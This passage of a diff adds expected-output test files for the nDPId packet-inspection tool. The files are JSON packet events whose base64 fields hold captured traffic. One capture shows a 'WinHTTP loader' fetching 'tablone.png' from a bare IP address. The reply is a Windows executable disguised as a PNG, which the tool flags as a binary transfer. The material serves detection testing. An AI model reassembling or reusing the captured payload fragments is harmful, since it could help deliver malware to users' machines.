kx4DcAQAAAAAAAOsbx0WsAgAAAMdFsAIAAACLTaTHgdwBAAABAAAAg+xUuRUAAACNdaiL\/POli02k6HMDAABfXovlXcPMzMzMzMzMzMzMzMzMVYvsg+xcVleJTaSNRahQi02k6HO+AQCLTaSDudgBAAAAdBiLVbCD4veJVbCLRaTHgNgBAAAAAAAA6xvHRawIAAAAx0WwCAAAAItNpMeB2AE="} +02532{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":630207,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AAgCHEeuIOUqtpPxCABFAAXcBbkAAIAGNdeQW0XDCgkZZQBQwA0+7\/Ndvob4uFAQ+vCglwAAAAABAAAAg+xUuRUAAACNdaiL\/POli02k6PMCAABfXovlXcPMzMzMzMzMzMzMzMzMVYvsg+xcVleJTaSNRahQi02k6PO9AQCLTaSDudQBAAAAdBiLVbCD4vuJVbCLRaTHgNQBAAAAAAAA6x\/HRawEAIAAx0WwBAAAAMZF+AGLTaTHgdQBAAABAAAAg+xUuRUAAACNdaiL\/POli02k6G8CAABfXovlXcPMzMzMzMzMzMxVi+xRiU38i+Vdw8zMzMzMVYvsav9oTSlEAGShAAAAAFBkiSUAAAAAgey4AAAAiY1A\/\/\/\/aGwBAADoydIBAIPEBImFRP\/\/\/8dF\/AAAAACDvUT\/\/\/8AdBVqAIuNRP\/\/\/+jcAwAAiYU8\/\/\/\/6wrHhTz\/\/\/8AAAAAi4U8\/\/\/\/iYVI\/\/\/\/x0X8\/\/\/\/\/4uNSP\/\/\/4lN8ItV8IsCi03w\/5BAAQAAg\/gBD4W3AAAAx4VM\/\/\/\/nAAAAItN8IO5YAEAAAB0D4uVUP\/\/\/4PKAomVUP\/\/\/4tF8IO4aAEAAAB0D4uNUP\/\/\/4PJAYmNUP\/\/\/4tV8IO6ZAEAAAB0D4uFUP\/\/\/4PIBImFUP\/\/\/4tN8IuRYAEAAGnSoAUAAImVXP\/\/\/4tF8IuIZAEAAGnJoAUAAIlN7ItV7PfaiZVg\/\/\/\/i0Xwi4hoAQAAacmgBQAAA03siY1Y\/\/\/\/jZVM\/\/\/\/UouNQP\/\/\/+hmvAEAi030ZIkNAAAAAIvlXcPMzFWL7FGJTfyLRfyLiMwBAABRi1UIiwKLTQj\/UASL5V3CBADMzMzMzMzMzMzMzMzMzFWL7FGJTfyLRfyLiNABAABRi1UIiwKLTQj\/UASL5V3CBADMzMzMzMzMzMzMzMzMzFWL7FGJTfyLRfyLiNwBAABRi1UIiwKLTQj\/UASL5V3CBADMzMzMzMzMzMzMzMzMzFWL7FGJTfyLRfyLiNgBAABRi1UIiwKLTQj\/UASL5V3CBADMzMzMzMzMzMzMzMzMzFWL7FGJTfyLRfyLiNQBAABRi1UIiwKLTQj\/UASL5V3CBADMzMzMzMzMzMzMzMzMzFWL7IPsEIlN9I1F\/FCNTfhRi0306Di6AQCLVfg7Vfx1CcdF8P\/\/\/\/\/rBotF\/IlF8ItN8FGLVfhSi0306L65AQCNRQhQi0306MC6AQCL5V3CVADMzMzMzMzMzMzMzMzMzFWL7IHszAAAAImNOP\/\/\/2oBi0UIixCLTQj\/EseFPP\/\/\/wAAAACNhUD\/\/\/9Qi404\/\/\/\/6LG6AQCLTQiLUQSJlTT\/\/\/+DvTT\/\/\/9ldCuDvTT\/\/\/9mdAuDvTT\/\/\/9ndDDrRQ+3hVj\/\/\/+D6AL32BvAQImFPP\/\/\/+s4D7eNWP\/\/\/4PpAffZG8lBiY08\/\/\/\/6yEPt5VY\/\/\/\/g+oD99ob0kKJlTz\/\/\/\/rCseFPP\/\/\/wAAAAAzwIO9PP\/\/\/wAPlcBQi00IixGLTQj\/UgiL5V3CBADMzMxVi+yD7AiJTfyLRQiJRfiDffhldA6DffhmdBSDffhndBrrImoBi0386NP1\/\/\/rFmoCi0386Mf1\/\/\/rCmoDi0386Lv1\/\/+L5V3CBADMzMzMzFWL7ItFCFDoRs8BAIPEBF3CBADMzMzMzMzMzMzMzMzMVYvsUYlN\/GoAi0X8i0gcUf8VUFVEAIvlXcPMzMzMzMxVi+xRiU38agGLRfyLSBxR\/xVQVUQAi+Vdw8zMzMzMzFWL7Gr\/aIEpRABkoQAAAABQZIklAAAAAIPsEIlN5ItFCFBqZotN5Oh3FQIAx0X8AAAAAItN5McBSFxEAItV5IPCcIlV8ItN8OjO2gEAi0XwxwCElEQAxkX8AYtN5IHBwAAAAIlN7ItN7Oit2gEAi1XsxwKElEQAxkX8AotF5AUQAQAAiUXoi03o6I3aAQCLTejHAYSURADHRfz\/\/\/\/\/i0Xki030ZIkNAAAAAIvlXcIEAMzMzMzMzMzMzMzMzMzMzFWL7FE="} +02138{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":630216,"pkt_caplen":1302,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1302,"pkt_l4_len":1268,"pkt":"AAgCHEeuIOUqtpPxCABFAAUIBboAAIAGNqqQW0XDCgkZZQBQwA0+7\/kRvob4uFAY+vB0WgAAiU38i0386CEAAACLRQiD4AGFwHQMi038UegQzgEAg8QEi0X8i+VdwgQAzMxVi+xq\/2ixKUQAZKEAAAAAUGSJJQAAAABRiU3wx0X8AgAAAItN8IHBEAEAAOiLCwMAxkX8AYtN8IHBwAAAAOh5CwMAxkX8AItN8IPBcOhqCwMAx0X8\/\/\/\/\/4tN8OilEwIAi030ZIkNAAAAAIvlXcPMVYvsUYlN\/ItF\/IPAcFBo6gMAAItNCFHoqYwCAItV\/IHCwAAAAFJo6wMAAItFCFDokYwCAItN\/IHBEAEAAFFo7AMAAItVCFLoeYwCAIvlXcIEAMzMzMzMzMzMzMzMzMzMVYvsUYlN\/LhIW0QAi+Vdw1WL7IPsGIlN6MdF8AAAAADrCYtF8IPAAYlF8IN98Bl9N4tN8IsUjbCQRQBSaKBdRACNRfRQ\/xXUVUQAg8QMjU30UWoAaEMBAACLVQiLQhxQ\/xVIVUQA67rHRewAAAAAagCLTexRaE4BAACLVQiLQhxQ\/xVIVUQAi+VdwgQAzMzMVYvsUYlN\/ItN\/OiFFgIAi0X8g8BwUItN\/Ohi\/\/\/\/i038gcHAAAAAUYtN\/OhQ\/\/\/\/i1X8gcIQAQAAUotN\/Og+\/\/\/\/uAEAAACL5V3DzMzMzMxVi+xq\/2jIKUQAZKEAAAAAUGSJJQAAAACD7CCJTeCLTeDoOuQBAOipGwIAiUXoi0XoixCLTej\/UgyJReyLReyDwBCJRfDHRfwAAAAAjU3wUYtN4IPBcOj27wEAagBqAGhHAQAAi1Xgi4KMAAAAUP8VSFVEAIXAdBGLTfBR6F\/lAACDxASJRdzrB8dF3AAAAACLVeCLRdyJgmABAACNTfBRi03ggcHAAAAA6KPvAQBqAGoAaEcBAACLVeCLgtwAAABQ\/xVIVUQAhcB0EYtN8FHoDOUAAIPEBIlF2OsHx0XYAAAAAItV4ItF2ImCZAEAAI1N8FGLTeCBwRABAADoUO8BAGoAagBoRwEAAItV4IuCLAEAAFD\/FUhVRACFwHQRi03wUei55AAAg8QEiUXU6wfHRdQAAAAAi1Xgi0XUiYJoAQAAx0X8\/\/\/\/\/41N8OifAAAAi030ZIkNAAAAAIvlXcPMVYvsUYlN\/IvlXcIEAMzMzFWL7FGJTfyLRQxQD7dNCFGLVfyLAotN\/P+QNAEAAIvlXcIIAMzMzMzMzMzMzMzMzFWL7FGJTfyLTfzoXQgDAItFCIPgAYXAdAyLTfxR6JDKAQCDxASLRfyL5V3CBADMzFWL7IPsCIlN+ItN+OgPAAAAi+Vdw8zMzMzMzMzMzMzMVYvsg+wIiU34i0X4iwiD6RCJTfyLVfyDwgyDyP\/wD8ECSIXAfxOLTfxRi1X8iwKLTfyLCYsQ\/1IEi+Vdw8zMzFWL7Gr\/aOopRABkoQAAAABQZIklAAAAAIPsDGgYAgAA6NLJAQCDxASJRezHRfwAAAAAg33sAHQNi03s6FAAAACJRejrB8dF6AAAAACLReiJRfDHRfz\/\/\/\/\/i0Xwi030ZIkNAAAAAIvlXcPMzMzMzMxVi+xRiU38uABfRACL5V3DVYvsUYlN\/LikXUQAi+Vdw1WL7Gr\/aBYqRABkoQAAAABQZIklAAAAAFGJTfCLTfDoiScDAMdF\/AAAAACLRfDHAChfRACLTfCBwdAAAADobEsDAMZF"} +00414{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"exe_download.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434051,"pkt_ts_usec":630369,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoALhAAIAGAIwKCRllkFtFw8ANAFC+hvi4Pu\/98VAQ+vAG2QAA"} diff --git a/test/results/exe_download_as_png.pcap.out b/test/results/exe_download_as_png.pcap.out new file mode 100644 index 000000000..46cc1d721 --- /dev/null +++ b/test/results/exe_download_as_png.pcap.out @@ -0,0 +1,18 @@ +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"exe_download_as_png.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1569434903040,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.25.101","dst_ip":"185.98.87.185","src_port":49197,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434903,"pkt_ts_usec":40298,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IOUqtpPxAAgCHEeuCABFAAA0Bk9AAIAGv+sKCRlluWJXucAtAFB7PMGWAAAAAIACIAAdNgAAAgQFtAEDAwgBAQQC"} +00426{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434903,"pkt_ts_usec":440451,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AAgCHEeuIOUqtpPxCABFAAAsESIAAIAG9SC5Yle5CgkZZQBQwC0vLgrVezzBl2AS+vAxRwAAAgQFtA=="} +00419{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434903,"pkt_ts_usec":440784,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoBlJAAIAGv\/QKCRlluWJXucAtAFB7PMGXLy4K1lAQ+vBJBAAA"} +00621{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434903,"pkt_ts_usec":441012,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"IOUqtpPxAAgCHEeuCABFAAC9BlNAAIAGv14KCRlluWJXucAtAFB7PMGXLy4K1lAY+vA3lwAAR0VUIC90YWJsb25lLnBuZyBIVFRQLzEuMQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClByYWdtYTogbm8tY2FjaGUNClVzZXItQWdlbnQ6IFdpbkhUVFAgbG9hZGVyLzEuMA0KSG9zdDogMTg1Ljk4Ljg3LjE4NQ0KDQo="} +00704{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"exe_download_as_png.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1569434903040,"flow_last_seen":1569434903441,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":20,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.25.101","dst_ip":"185.98.87.185","src_port":49197,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"185.98.87.185","url":"185.98.87.185\/tablone.png","code":0,"content_type":"","user_agent":"WinHTTP loader\/1.0"}} +00418{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434903,"pkt_ts_usec":441168,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAgCHEeuIOUqtpPxCABFAAAoESMAAIAG9SO5Yle5CgkZZQBQwC0vLgrWezzCLFAQ+vBIbwAA"} +02375{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434904,"pkt_ts_usec":53845,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AAgCHEeuIOUqtpPxCABFAAXcESQAAIAG7265Yle5CgkZZQBQwC0vLgrWezzCLFAQ+vCXagAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuMTAuMw0KRGF0ZTogV2VkLCAyNSBTZXAgMjAxOSAxODowODoyNCBHTVQNCkNvbnRlbnQtVHlwZTogaW1hZ2UvcG5nDQpDb250ZW50LUxlbmd0aDogMjQ5OTA2DQpMYXN0LU1vZGlmaWVkOiBXZWQsIDI1IFNlcCAyMDE5IDEyOjI2OjI1IEdNVA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KRVRhZzogIjVkOGI1Y2YxLTNkMDMyIg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCg0KTVqQAAMAAAAEAAAA\/\/8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAdgnHaWeMfiVnjH4lZ4x+J2v8RiVjjH4kw\/BaJXeMfibD8EolY4x+JsfwbiVjjH4lSaWNoWeMfiQAAAAAAAAAAUEUAAEwBAwDSQ4tdAAAAAAAAAADgAA8BCwEGAADQAAAA8AIAAAAAANAXAAAAEAAAAOAAAAAAQAAAEAAAABAAAAQAAAABAAAABAAAAAAAAAAA4AMAABAAAGTQAQACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA8N4AAJ0AAADU1wAAZAAAAAAAAQBo0gIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkBEAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADACAABsAAAAABAAAIQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAI3PAAAAEAAAANAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLmRhdGEAAAAIFgAAAOAAAAAQAAAA4AAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAaNICAAAAAQAA4AIAAPAAAAAAAAAAAAAAAAAAAEAAAEB\/r39SMAAAAPg3EBo6AAAA7CdUe0cAAQA6xeGNVAAAAMMfsEleAAAAAAAAAAAAAABnZGkzMi5ETEwAb2xlYXV0MzIuRExMAGtlcm5lbDMyLkRMTABOVERMTC5ETEwATVNWQlZNNjAuRExMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00761{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"exe_download_as_png.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1569434903040,"flow_last_seen":1569434904053,"flow_tot_l4_data_len":1745,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":290,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.25.101","dst_ip":"185.98.87.185","src_port":49197,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"4":"Binary application transfer","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"185.98.87.185","url":"185.98.87.185\/tablone.png","code":200,"content_type":"image\/png","user_agent":"WinHTTP loader\/1.0"}} +02115{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434904,"pkt_ts_usec":53857,"pkt_caplen":1322,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1322,"pkt_l4_len":1288,"pkt":"AAgCHEeuIOUqtpPxCABFAAUcESUAAIAG8C25Yle5CgkZZQBQwC0vLhCKezzCLFAY+vA9vwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00418{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434904,"pkt_ts_usec":54024,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoBlRAAIAGv\/IKCRlluWJXucAtAFB7PMIsLy4VflAQ+vA9xwAA"} +02243{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434904,"pkt_ts_usec":54281,"pkt_caplen":1418,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1418,"pkt_l4_len":1384,"pkt":"AAgCHEeuIOUqtpPxCABFAAV8ESYAAIAG78y5Yle5CgkZZQBQwC0vLhV+ezzCLFAY+vA4awAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +02249{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434904,"pkt_ts_usec":54763,"pkt_caplen":1418,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1418,"pkt_l4_len":1384,"pkt":"AAgCHEeuIOUqtpPxCABFAAV8EScAAIAG78u5Yle5CgkZZQBQwC0vLhrSezzCLFAY+vDSrwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOCxUE1QZFBNQFpQTQAAAABQvQEQAAAAACBfgWvQXoFrcHyBa3CGMEsQ24FrAAAAAIaTD2b5CQ9m7moQZjFoEGZEwgxmKRkOZo3MDWabag5mYnIQZroCD2aPixBmw58NZrdwDmZBCQ9mdmoOZjrDDGZ0og1mbgIPZv7BDWYQXg9mMtENZvGfDWadSQ5mBgMPZgigDWYGBA9m9+AMZuTPDGZJXw9m7pQPZuJvDmbqYg9m+30OZnSbDGaWlQ5m\/aAAZijGDWb2CQ9mh5sMZpOVD2aFmgxmYHYQZt9HDmbEiQ9mHb8MZokGD2a6Aw9miXYQZhN1EGZIGQ5mWsYNZr4ODmYrlA9m7DoQZjeiDWY6Aw9mOgQPZkpsDmbj2g1mXhAOZgFsDmZuAw9mqf0OZqQ1AGYvTg5m